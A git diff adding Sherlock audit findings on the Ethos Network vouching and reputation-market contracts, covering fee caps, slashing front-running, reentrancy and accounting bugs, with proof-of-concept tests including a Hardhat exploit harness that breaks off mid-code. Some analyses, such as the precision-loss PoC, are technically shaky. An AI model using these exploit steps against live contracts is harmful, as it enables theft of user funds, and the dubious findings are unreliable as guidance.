+### Attack Path + +1. User who has vouched 50 ETH in total misbehaves massively (farming accounts to `unvouch` and `markUnhealthy` his competition) +2. A trial period starts for that user +3. The user just unvouches and leaves the system unharmed + +Another scenario would be +1. User who has vouched 50 ETH in total misbehaves massively +2. Admins call directly to slash said user +3. The user front-runs the call and unvouches leaving the system unharmed + +### Impact + +Users who are marked for slashing would be able to avoid it, without being punished for their misdeeds. + +### PoC + +_No response_ + +### Mitigation + +Add a special method to pause `unvouch` for any user. Example code: + +```diff ++ // authorProfileId -> is blacklisted ++ mapping(uint256 => bool) public blacklist; + + // ... + function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + ++ if(blacklist[v.authorProfileId]){ ++ revert Blacklisted(authorProfileId); ++ } +``` \ No newline at end of file diff --git a/174.md b/174.md new file mode 100644 index 0000000..660f523 --- /dev/null +++ b/174.md @@ -0,0 +1,115 @@ +Dancing Khaki Moose + +High + +# Maximum Total Fees on the `EthosVouch` Contract Can Often Be Exceeded. + +### Summary + +> - For both contracts: +> Maximum total fees cannot exceed 10% + +However, the total fees on the `EthosVouch` contract can often be exceeded. +As we know the sum of `exitFeeBasisPoints`, `entryDonationFeeBasisPoints`, `entryVouchersPoolFeeBasisPoints` and `entryProtocolFeeBasisPoints` can't be exceed `MAX_TOTAL_FEES`, which is set at 10,000. + +**Example 1:** An admin can set all basis points to 400 without considering the implications. +In this case, when vouching with x ether, the total fees are calculated as follows: +`3 * (x - x * 10,000 / (10,000 + 400)) = x * 1,200 / 10,400 ≈ 0.115x.` +The result shows that the total fees exceed 10% of the total amount when vouching (it is approximately 11%). + +Now, let’s look at a more concerning case. +**Example 2:** An admin can also set all basis points to 2,500 without considering the implications. In this case, when vouching, the total fees amount to 60% of the total amount. +This could lead to a loss of reputation among users. + + + +### Root Cause + +_No response_ + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The reliability and worth of this protocol may be compromised. + +### PoC + +_No response_ + +### Mitigation + +Update of [MAX_TOTAL_FEES](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120). +```solidity +- uint256 public constant MAX_TOTAL_FEES = 10000; +``` +```solidity ++ uint256 public constant MAX_TOTAL_FEES = 1111; +``` +why 1111? +```solidity + /* + * Formula derivation: + * 1. total = deposit + total fee + * 2. total fee = deposit * (allFeesBasisPoints/10000) + * allFeesBasisPoints is entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints when vouches + * 3. total = deposit + deposit * (allFeesBasisPoints/10000) + * 4. total = deposit * (1 + allFeesBasisPoints/10000) + * 5. deposit = total / (1 + allFeesBasisPoints/10000) + * 6. total fee = total - deposit + * 7. total fee = total - (total * 10000 / (10000 + allFeesBasisPoints)) + * total fee <= total / 10 + * The variable of allFeesBasisPoints can be MAX_TOTAL_FEES. + * total - (total * 10000 / (10000 + MAX_TOTAL_FEES)) <= total / 10 + * total(1 - 10000 / (10000 + MAX_TOTAL_FEES)) <= total / 10 + * MAX_TOTAL_FEES / (10000 + MAX_TOTAL_FEES) <= 1/10 + * MAX_TOTAL_FEES <= (10000 + MAX_TOTAL_FEES) / 10 + * 9 * MAX_TOTAL_FEES <= 10000 + * MAX_TOTAL_FEES <= 10000 / 9 + * 10000 / 9 ≈ 1111, 1111 < 10000 / 9 so we can suppose MAX_TOTAL_FEES < 1111 + * The calculated value of 10000 / 9 is approximately 1111. Therefore, we can conclude that MAX_TOTAL_FEES should be less than or equal to 1111 to satisfy the fee constraint. + */ +``` +But there is another issue for this. +There is an issue with the current fee calculation logic. Currently, we calculate each fee separately, as demonstrated [here](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L938) +This can lead to situations where the total fees exceed the intended limit. +**Example Scenario:** +If the admin sets the following values: +- `entryProtocolFeeBasisPoints` = 370 +- `entryDonationFeeBasisPoints` = 370 +- `entryVouchersPoolFeeBasisPoints` = 370 +- `exitFeeBasisPoints` = 1 +In this case, the total fees would be calculated as follows: +```solidity +/* +* totalFees = protocolFee + donationFee + vouchersPoolFee +* totalFees = total * entryProtocolFeeBasisPoints / (10000 + entryProtocolFeeBasisPoints) +* + total * entryDonationFeeBasisPoints/ (10000 + entryDonationFeeBasisPoints) +* + total * entryVouchersPoolFeeBasisPoints/ (10000 + entryVouchersPoolFeeBasisPoints) +* totalFees = total * (3 * 370 / 10370) +* totalFees = total * 0.107 (exceeds 10% of total) +*/ +``` +1. **One way is to Update Fee Calculation Logic:** +```solidity +- uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); +- uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); +- uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); +``` +```solidity ++ uint256 protocolFee = (amount * entryProtocolFeeBasisPoints) / (entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints) ++ uint256 donationFee = (amount * entryDonationFeeBasisPoints ) / (entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints) ++ uint256 vouchersPoolFee = (amount * entryVouchersPoolFeeBasisPoints) / (entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints + entryVouchersPoolFeeBasisPoints) +``` +2. **Another way is to Set a Variable for Readability and Safety:** +To enhance readability and clarity, we can set a variable to a base value (e.g., 1000) for all fee calculations. This will also help prevent any potential overflow issues and make the calculations more intuitive. diff --git a/175.md b/175.md new file mode 100644 index 0000000..a693b63 --- /dev/null +++ b/175.md @@ -0,0 +1,59 @@ +Quick Holographic Canary + +Medium + +# Archived profiles can create market in ReputationMarket + +### Summary + +[_checkProfileExists](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1061-L1069) function in `ReputationMarket.sol` implements checks to validate if the given profile is valid. However, this function is not used anywhere in the contract, which allows unauthorized users to create markets. + +- Here's what the comment says: +```solidity + /* @notice Verifies a profile exists and is active in the Ethos Profile system + * @param profileId The ID of the profile to check + * @dev Prevents market operations involving invalid or archived profiles + */ +``` + +### Root Cause + +- Function to validate a profile and check it's not archived +```solidity + function _checkProfileExists(uint256 profileId) private view { + if (profileId == 0) { + revert InvalidProfileId(); + } + (bool exists, bool archived) = _ethosProfileContract().profileExistsAndArchivedForId(profileId); + if (!exists || archived) { + revert InvalidProfileId(); + } + } +``` +All the functions related to market creation process don;t check if the profile is archived. +`ReputationMarket::createMarketWithConfig` , `ReputationMarket::_createMarket` and `ReputationMarket::createMarketWithConfigAdmin` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User's profile is archived +2. User calls `ReputationMarket::createMarketWithConfig` function to create a market when his profile is inactive + +### Impact + +Owner of an archived profile can create a market which is not active in the Ethos Profile system + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/176.md b/176.md new file mode 100644 index 0000000..58b7c9b --- /dev/null +++ b/176.md @@ -0,0 +1,55 @@ +Flat Pear Owl + +Medium + +# Lack of slippage protection in sellVotes + +### Summary + +Lack of slippage protection in `sellVotes` could lead to loss of user funds. + +### Root Cause + +In function `sellVotes` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495 +```solidity + ( + uint256 votesSold, + uint256 fundsReceived, + , + uint256 protocolFee, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateSell(markets[profileId], profileId, isPositive, amount); +``` +It calls `_calculateSell` to calc `fundsReceived` which is the amout that user received. +However, the vote price is volatile, and if someone sells votes, the amount the user receives will be significantly lower. +For example: +1. Alice and Bob both have 100 trust votes in the same market. +2. Alice wants to sell 100 trust votes and calls simulateSell to estimate the amount she would receive. +3. Bob sells his trust votes before Alice, causing the vote price to drop. +4. Alice then calls sellVotes and ends up losing funds. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +This issue could lead to loss of user funds. + +### PoC + +_No response_ + +### Mitigation + +add slippage protection \ No newline at end of file diff --git a/177.md b/177.md new file mode 100644 index 0000000..9ff9ec1 --- /dev/null +++ b/177.md @@ -0,0 +1,62 @@ +Slow Tan Swallow + +Medium + +# Slashing only punish vouchers and not creators + +### Summary + +`EthosVouch` has a way to punish misdeeds (trying to manipulate the system, spamming fake accounts and so on...) using `slash`, where any user can be slashed for up to 10% of his balance across all vouches. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L531-L545 +```solidity + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + + if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } +``` +However this mechanism is intrinsically incomplete as the only one who is punishable is the user who is vouching. + +Users who are vouched for, consistently have higher impact on the space than the mere vouchers. Example would be a tweet from a person who has 1m followers and someone who is following that guy with only 500 followers. Clearly the one who everyone vouches for would have the higher impact. + +With higher impact it becomes easy to misbehave massively, as all of your auctions are magnified, making malicious acts more easy and more damaging. That combined with the fact that no one can punish you **makes misbehaving, not only easy, but free**. + +### Root Cause + +`slash` only effecting vouchers and not the users who they are vouching + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Creator misbehaves massively, at a point where if he was a voucher he would have been slashed +2. Creator is not a voucher, at least not from this account, so `slash` cannot punish him + +### Impact + +Creators will not be punishable, unlike their vouchers. + +### PoC + +_No response_ + +### Mitigation + +In order to create a voting market inside `ReputationMarket` you need to deposit a minimum amount of ETH. Consider implementing the same inside `EthosVouch`. This would allow slashing creators who misbehaved by taking this amount out. \ No newline at end of file diff --git a/178.md b/178.md new file mode 100644 index 0000000..bd701da --- /dev/null +++ b/178.md @@ -0,0 +1,167 @@ +Dazzling Pearl Capybara + +Medium + +# Fee Calculation Precision Loss in the PreviewFees Function of ReputationMarket Contract + +### Summary + +The **ReputationMarket** contract's fee calculation suffers from precision loss due to the use of simple multiplication and division instead of a robust `mulDiv` function. This flaw can cause discrepancies in calculated fees, particularly with large transaction amounts and small basis point rates. Such errors can lead to financial imbalances, system inefficiencies, and cumulative inaccuracies over time. Mitigation strategies include adopting `mulDiv` for accurate computations, adding validation checks to ensure sums match the input amounts, and implementing precise rounding mechanisms. These steps will enhance both the accuracy of fee calculations and the contract’s overall reliability. + +### Root Cause + +The contract uses basic multiplication and division for fee calculations instead of a safer `mulDiv` function, leading to potential precision loss and calculation errors. + +[ethos/packages/contracts/contracts/ReputationMarket.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1141C1-L1152C4) +```solidity +// Vulnerable code +function previewFees(uint256 amount, bool isEntry) private view { + if (isEntry) { + protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; + } else { + protocolFee = (amount * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + } + funds = amount - protocolFee - donation;} +``` + +### Internal pre-conditions + + - Calculations use basis points (1 basis point = 0.01%). + - Must handle large transaction amounts. + - Accurate fee computation. + + +### External pre-conditions + + - Transactions may involve large amounts. + - Fee rates can be small. + - Should accommodate varying transaction sizes. + +### Attack Path + +In this attack path, the goal is to exploit precision loss that could arise from operations involving large numbers and small fee rates in a financial contract. This type of vulnerability could result in unexpected or incorrect fund distribution due to the limitations of fixed-point arithmetic or rounding errors. + + +1. **Large Transaction Amount:** + The attacker initiates a large transaction amount (e.g., `1e36`, or a number with 36 zeros). This transaction size is selected to magnify any potential precision loss caused by mathematical operations involving large numbers. + + ```solidity + uint256 largeAmount = 1e36; + ``` + +2. **Small Fee Rate:** + The attacker uses a very small fee rate for the transaction. In this case, a fee rate of `1` is chosen, which corresponds to `0.01%`. Small fee rates are specifically selected because they are more prone to precision issues due to the rounding behavior when multiplied with large transaction amounts. + + ```solidity + uint256 smallFee = 1; // 0.01% + ``` + +3. **Accumulate Errors Over Multiple Iterations:** + The attacker repeatedly calls the contract’s fee preview function, which calculates the fee and the remaining funds for the transaction. After each call, the attacker verifies that the sum of the returned `funds` and `fee` does not match the original `largeAmount`. + + The attack proceeds as follows: + - The attacker calls `market.previewFees()` inside a loop. + - After each preview, the attacker asserts that the sum of the returned `funds` and `fee` is not equal to the `largeAmount`. + + By executing this loop multiple times (in this case, 100 times), the attacker accumulates any precision errors that arise due to rounding or truncation. + +```solidity +contract PrecisionLossTest { + ReputationMarket market; + + function exploitPrecisionLoss() public { + // 1. Use a large transaction amount + uint256 largeAmount = 1e36; + + // 2. Use a small fee rate + uint256 smallFee = 1; // 0.01% + + // 3. Accumulate errors + for(uint i = 0; i < 100; i++) { + (uint256 funds, uint256 fee, ) = market.previewFees( + largeAmount, + true + ); + // Verify accumulated error + assertNotEqual( + largeAmount, + funds + fee + ); + } + } +} +``` + +### Impact + + - Inaccurate fee calculations: Precision loss could cause an incorrect calculation of the fees and the final amount received by the user, which could favor one party (e.g., the attacker or the contract owner). + - Imbalance in funds: Over time, small discrepancies accumulate, leading to a situation where users are either overcharged or undercharged, depending on the direction of the error. In a contract handling large amounts of transactions, this could result in significant financial losses. + - Errors accumulate over multiple transactions: If this precision loss is not addressed, attackers could exploit this behavior to manipulate the fee structure or market dynamics, affecting other users or the overall contract behavior. + +```solidity +// Example: Precision loss causing discrepancies +originalAmount = 1000000 ether; +calculatedFees = (originalAmount * 1) / 10000; // 0.01% +actualAmount = calculatedFees * 10000 / 1; +assert(originalAmount != actualAmount); // Likely not equal +``` + +### PoC + +```solidity +contract PrecisionTest { + function testPrecisionLoss() public { + ReputationMarket market = new ReputationMarket(); + + uint256 amount = 1e30; + uint256 basisPoints = 1; + + // Current implementation + uint256 currentFee = (amount * basisPoints) / 10000; + + // Using mulDiv + uint256 safeFee = amount.mulDiv(basisPoints, 10000, Math.Rounding.Floor); + + // Validate difference + assert(currentFee != safeFee); + } +} +``` + +### Mitigation + + It is recommended to use a safe math library with proper handling of precision (such as `SafeMath` or custom precision handling functions) can help prevent overflow or rounding errors. + +```solidity +function previewFees( + uint256 amount, + bool isEntry +) private view returns ( + uint256 funds, + uint256 protocolFee, + uint256 donation +) { + if (isEntry) { + protocolFee = amount.mulDiv( + entryProtocolFeeBasisPoints, + BASIS_POINTS_BASE, + Math.Rounding.Floor + ); + + donation = amount.mulDiv( + donationBasisPoints, + BASIS_POINTS_BASE, + Math.Rounding.Floor + ); + } else { + protocolFee = amount.mulDiv( + exitProtocolFeeBasisPoints, + BASIS_POINTS_BASE, + Math.Rounding.Floor + ); + } + + funds = amount - protocolFee - donation; +} +``` \ No newline at end of file diff --git a/179.md b/179.md new file mode 100644 index 0000000..ba5a075 --- /dev/null +++ b/179.md @@ -0,0 +1,51 @@ +Melodic Sand Newt + +Medium + +# Slashing Can Be Frontrun + +### Summary + +Slashing which is a mechanism in [ethosvouch.sol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520C1-L545C6) allows a user with only slashrole to slash a %of the author's vouches (less than 10%). This slashing process can be a `frontrun` by [unvouch and unvouchUnhealthy](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L453) function to withdraw the money before getting slashed. + + +### Likelihood : Medium +### Impact: High -> The protocol loses all of its penalities + +Severity : Medium + +### Root Cause + +The root cause of the frontrunning vulnerability stems from the ability of actors (e.g., authors of vouches) to modify contract state after the slashing process is initiated but before it's executed on-chain. Specifically, because transactions are visible in the mempool before being mined, an author can detect a pending slashing transaction and: + + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + + +Bob is a malicious user +1. Alice with slasher role tries to slash Bob which has many vouches +2. Bob sees this pathway and tries to unvouch all the vouches in a single transaction and sends some extrafees so that the transaction of the Bob is executed first. +3. As now vouches from bob will be in archieved state, Slashing mechanism can't be done + +### Impact + +1. Malicious authors can preemptively archive their vouches or reduce their vouch.balance before the slashing transaction is mined, rendering the slashing process ineffective. +2. The protocol may fail to collect intended penalties, leading to potential financial losses and undermining the economic incentives designed to encourage good behavior. +3. Bad actors can avoid penalties for misconduct, compromising the security and integrity of the system + +### PoC + +_No response_ + +### Mitigation + +Try to use a private mempool to do slashing \ No newline at end of file diff --git a/180.md b/180.md new file mode 100644 index 0000000..e85417d --- /dev/null +++ b/180.md @@ -0,0 +1,108 @@ +Special Berry Goat + +Medium + +# Authorized actor could drain the protocol with reentrancy at ReputationMarket::withdrawGraduatedMarketFunds() + +### Summary + +As the protocol says and also the natspec: +`Only Ethos, through a designated contract, will be authorized to graduate markets and withdraw funds to initiate this conversion process.` + +The function can be reentered by authorized actor. Even if they are trusted, this should not be allowed in the code. +```solidity + /** + * @notice Withdraws funds from a graduated market + * @dev Only callable by the authorized graduation withdrawal address + * @param profileId The ID of the graduated market to withdraw from + */ + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL"); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + + // @audit basic reentrancy here. Must reset the funds and then send the eth. + _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L677 + +The state is updated after the eth is send. It should be done before that. + +### Internal pre-conditions + +1. Actor must add the malicious contract address at `ContractAddressManager::updateContractAddressesForNames()` +2. Authorized actor must buy some votes so the `marketFunds[profileId]` can increase. +3. The authorized actor must call `graduateMarket()`. +4. Authorized actor must call `withdrawGraduatedMarketFunds()` +5. There needs to be eth in the contract, so it can be reentered. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Add the malicious contract address(only owner can do that). +2. Buy votes with the malicious contract, so the marketFunds can increase. +3. Call `graduateMarket()` with the malicious contract. +4. Call `withdrawGraduatedMarketFunds()` with the malicious contract. +5. There needs to be eth in the contract, so it can be reentered. + +### Impact + +Impact - High +Likelyhood - Low + +Protocol can be drained by reentering. + +### PoC + +_No response_ + +### Mitigation + +Applying this changes will stop the re-entering. +You also could just use the `NonReentrant` modifier. + + +```diff + /** + * @notice Withdraws funds from a graduated market + * @dev Only callable by the authorized graduation withdrawal address + * @param profileId The ID of the graduated market to withdraw from + */ + function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + address authorizedAddress = contractAddressManager.getContractAddressForName("GRADUATION_WITHDRAWAL"); + if (msg.sender != authorizedAddress) { + revert UnauthorizedWithdrawal(); + } + _checkMarketExists(profileId); + if (!graduatedMarkets[profileId]) { + revert MarketNotGraduated(); + } + if (marketFunds[profileId] == 0) { + revert InsufficientFunds(); + } + ++ uint256 amountToSend = marketFunds[profileId]; ++ marketFunds[profileId] = 0; ++ _sendEth(amountToSend); +- _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); +- marketFunds[profileId] = 0; + } +``` \ No newline at end of file diff --git a/181.md b/181.md new file mode 100644 index 0000000..f84470a --- /dev/null +++ b/181.md @@ -0,0 +1,75 @@ +Lively Violet Troll + +High + +# Inaccurate `marketFunds` update in `ReputationMarket::buyVotes` will makes the market funds not reflected correctly + +### Summary + +The function `buyVotes` updates `marketFunds` per profile ID by adding `fundsPaid`, which in this specific function includes the `protocolFee` and `donation` values. However, `marketFunds` should only consist of funds related to market activity. + +### Root Cause + +When calculating transaction using `_calculateBuy`, the returned [`fundsPaid`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L978) value are including the donation and protocol fees. This is an intended behavior because the user is supposed to send the `fundsPaid` to pay the votes, fees and donation. + +The `applyFees` then would map the `donation` value to the profileId and for the `protocolFee` the amount are immediately sent to the protocol address fee. + +This became problematic because at [line 481](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) the `marketFunds` is added by `fundsPaid` where the value are including the donation and protocol fee. + +The amount of `marketFunds` are inflated value because the protocol fee is already out of the contract balance and the donation is supposed to be separate funds to be claimed at later date. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +suppose fee for protocol and donation is 5% each +alice wants to buy votes profileId 1 owned by bob with 100 ether +with fee and donation calculated, alice should sent 110 ether `fundsPaid` to the contract +for the attack path, we isolate the amount to alice tx only so we can see how the discrepancy effected + +1. alice call `buyVotes` for profileId 1 with 110 ether, actual contract balance = +110 ether +2. 5 ether immediately sent to the protocol fee address, actual contract balance = +105 ether +3. 5 ether mapped to bob's `donationEscrow` mapping +4. `marketFunds` of profileId 1 is now updated by +110 ether +5. bob withdraw the donation escrow, the contract sent 5 ether. actual contract balance = +100 ether +6. discrepancy of `marketFunds`: +110 ether vs actual +100 ether in contract + +the discrepancy can be further continued by other user and/or when protocol calls `withdrawGraduatedMarketFunds` when doing graduate to a market. + +### Impact + +The total funds in the contract would be insufficient for all users to [sell](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L522) and for the protocol to [graduate](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L675) the market. + +The value of `donation` also double counted in the `marketFunds` and `donationEscrow`, where when user calls `witdhrawDonations` the value is coming from `donationEscrow` but the `marketFunds` are not deducted by same amount, this would cause inaccuracy of the `marketFunds` value. + +Essentially, users would lose their funds. The above function can fails to send Ether because the actual Ether amount is less than the amount that reported by the `marketFunds`. + +### PoC + +_No response_ + +### Mitigation + +correct the logic when adding `marketFunds` in the `buyVotes` function: + +```diff +diff --git a/ethos/packages/contracts/contracts/ReputationMarket.sol b/ethos/packages/contracts/contracts/ReputationMarket.sol +index 0a70a10..f3696a1 100644 +--- a/ethos/packages/contracts/contracts/ReputationMarket.sol ++++ b/ethos/packages/contracts/contracts/ReputationMarket.sol +@@ -478,7 +485,7 @@ contract ReputationMarket is AccessControl, UUPSUpgradeable, ReentrancyGuard { + if (refund > 0) _sendEth(refund); + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += (fundsPaid - protocolFee - donation); + emit VotesBought( + profileId, + msg.sender, +``` diff --git a/182.md b/182.md new file mode 100644 index 0000000..89f2660 --- /dev/null +++ b/182.md @@ -0,0 +1,58 @@ +Slow Tan Swallow + +Medium + +# Profile owners cannot `unvouch` for another one of their addresses + +### Summary + +`unvouch` is used by users in order to remove one of their vouches, and declare the end of their support for the given subject. Where when unvouching we always send the funds to the one who created the vouch - `v.authorAddress`. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L473-L478 +```solidity + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); +``` + +There is a little note above to signal that we must send the funds to the author, not the address calling `unvouch`. This and the fact that we send the money back to `v.authorAddress` implies that all addresses belonging to a profile would be able to unvouch, but only the address that originally made the vouch would receive the funds. + +However there is another check inside `unvouch` that would prevent anyone else, but the vouch creator calling this function. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L459-L461 +```solidity + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } +``` + + +This check is contradictory to the way we send the funds and it's statement above. With it only the original vouch author would be able to call this function and the other addresses of his profile would not. + +### Root Cause + +The explicit check for address instead of profileId. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users with multiple addresses will not be able to `unvouch` for another address of theirs + +### PoC + +_No response_ + +### Mitigation + +Consider checking if the `authorProfileId` matches instead of `authorAddress`. \ No newline at end of file diff --git a/183.md b/183.md new file mode 100644 index 0000000..49cb539 --- /dev/null +++ b/183.md @@ -0,0 +1,203 @@ +Overt Alabaster Cottonmouth + +High + +# Missing check in `withdrawDonations()` allows compromised/deleted address to steal all donation + +## Description +The [withdrawDonations()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L570-L574) function makes no check if the calling address has been marked compromised (or deleted from the profile) or not: +```js + File: ethos/packages/contracts/contracts/ReputationMarket.sol + + 570: function withdrawDonations() public whenNotPaused returns (uint256) { + 571:@---> uint256 amount = donationEscrow[msg.sender]; + 572: if (amount == 0) { + 573: revert InsufficientFunds(); + 574: } + 575: + 576: // Reset escrow balance before transfer to prevent reentrancy + 577: donationEscrow[msg.sender] = 0; + 578: + 579: // Transfer the funds + 580: (bool success, ) = msg.sender.call{ value: amount }(""); + 581: if (!success) revert FeeTransferFailed("Donation withdrawal failed"); + 582: + 583: emit DonationWithdrawn(msg.sender, amount); + 584: return amount; + 585: } +``` + +This leads to the following vulnerability: +1. Alice creates a profile and sets `donationRecipient[profileId]` to address A1. All donations are now updated in `donationEscrow[A1]`. +2. A1 gets compromised and Alice marks it as compromised using her other address A2. (Alternatively, A1 is deleted by Alice and A1 gets assigned to some other profile id). +3. The attacker who compromised A1 can still call `withdrawDonations()`. +4. Note that Alice can't use A2 to call `updateDonationRecipient()` and change the recipient or pull out the donated funds since it can only be called by the current recipient which is A1. +4. A1 calls `withdrawDonations()` and the funds get sent to them. +5. Alice has no recourse to block the attacker's actions or recover her funds. + +## Impact +A couple of them: +1. A compromised/deleted address is able to steal the funds via `withdrawDonations()`. +2. Even if a check is introduced to block such addresses from receiving funds, there exists no way to rescue these funds or set a new recipient. + +## Proof of Concept +Add this test file as `ethos/packages/contracts/test/reputationMarket/rep.compromised.test.ts` and see it pass when run via `npm run hardhat -- test --grep "Compromised address vulnerability"`: +```js +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { expect } from 'chai'; +import hre from 'hardhat'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { type EthosUser } from '../utils/ethosUser.js'; +import { DEFAULT, MarketUser } from './utils.js'; +import { common } from '../utils/common.js'; + +const { ethers } = hre; + +describe('ReputationMarket Security', () => { + let deployer: EthosDeployer; + let ethosUserA: EthosUser; + let ethosUserB: EthosUser; + let newWallet: ethers.Wallet; + let userA: MarketUser; + let reputationMarket: ReputationMarket; + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + ethosUserA = await deployer.createUser(); + await ethosUserA.setBalance('2000'); + ethosUserB = await deployer.createUser(); + await ethosUserB.setBalance('2000'); + + // Create a new wallet for the compromise scenario + newWallet = ethers.Wallet.createRandom().connect(ethers.provider); + // Fund the new wallet with enough ETH for gas + await ethosUserA.signer.sendTransaction({ + to: newWallet.address, + value: ethers.parseEther('1.0') + }); + + userA = new MarketUser(ethosUserA.signer); + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = ethosUserA.profileId; + }); + + describe('Compromised address vulnerability', () => { + it('incorrectly allows a compromised address to withdraw donations', async () => { + // Setup market and fees + await reputationMarket + .connect(deployer.ADMIN) + .setUserAllowedToCreateMarket(DEFAULT.profileId, true); + + await reputationMarket + .connect(deployer.ADMIN) + .setProtocolFeeAddress(deployer.FEE_PROTOCOL_ACC.address); + + await reputationMarket + .connect(deployer.ADMIN) + .setEntryProtocolFeeBasisPoints(100); // 1% + await reputationMarket + .connect(deployer.ADMIN) + .setDonationBasisPoints(200); // 2% + + // Create market + await reputationMarket.connect(userA.signer).createMarket({ + value: ethers.parseEther('0.02') + }); + + // Generate donations through vote purchases + const buyAmount = ethers.parseEther('10.0'); + await reputationMarket.connect(ethosUserB.signer).buyVotes( + DEFAULT.profileId, + true, // trust votes + 1n, // expectedVotes + 100, // 1% slippage + { value: buyAmount } + ); + + // Record initial balances and donations + const balanceBefore = await ethers.provider.getBalance(ethosUserA.signer.address); + const donationEscrow = await reputationMarket.donationEscrow(ethosUserA.signer.address); + expect(donationEscrow).to.be.gt(0, "Should have donations to withdraw"); + + // First register newWallet's address + const randValue = BigInt('29548234957'); + const signature = await common.signatureForRegisterAddress( + newWallet.address, + DEFAULT.profileId.toString(), + randValue.toString(), + deployer.EXPECTED_SIGNER + ); + + await deployer.ethosProfile.contract.connect(ethosUserA.signer) + .registerAddress( + newWallet.address, + DEFAULT.profileId, + randValue, + signature + ); + + // Now use new wallet to mark original address as compromised + await deployer.ethosProfile.contract + .connect(newWallet) + 